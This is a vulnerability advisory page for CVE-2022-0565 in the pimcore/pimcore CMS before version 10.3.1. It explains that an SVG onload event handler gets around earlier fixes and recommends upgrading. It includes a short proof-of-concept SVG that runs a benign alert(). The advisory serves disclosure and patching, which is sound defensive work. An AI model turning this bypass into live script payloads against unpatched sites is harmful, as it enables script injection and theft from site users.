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Information Exposure Affecting pimcore/pimcore package, versions <10.3.1

0.0
high

Snyk CVSS

    Attack Complexity Low
    Availability High

    Threat Intelligence

    Exploit Maturity Proof of concept
    EPSS 0.05% (21st percentile)
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NVD
6.4 medium

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  • Snyk ID SNYK-PHP-PIMCOREPIMCORE-2400627
  • published 13 Feb 2022
  • disclosed 13 Feb 2022
  • credit ranjit-git
Report a new vulnerability Found a mistake?

Introduced: 13 Feb 2022

CVE-2022-0565 Open this link in a new tab
CWE-200 Open this link in a new tab

How to fix?

Upgrade pimcore/pimcore to version 10.3.1 or higher.

Overview

pimcore/pimcore is a content & product management framework (CMS/PIM/E-Commerce).

Affected versions of this package are vulnerable to Information Exposure via the event-handler using onload, which bypasses the attempt of the previous commits to mitigate the issue.

PoC 

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg" onload="alert()">
   <rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
</svg>

Note: This vulnerability stems from an incomplete fix of CVE-2022-0263.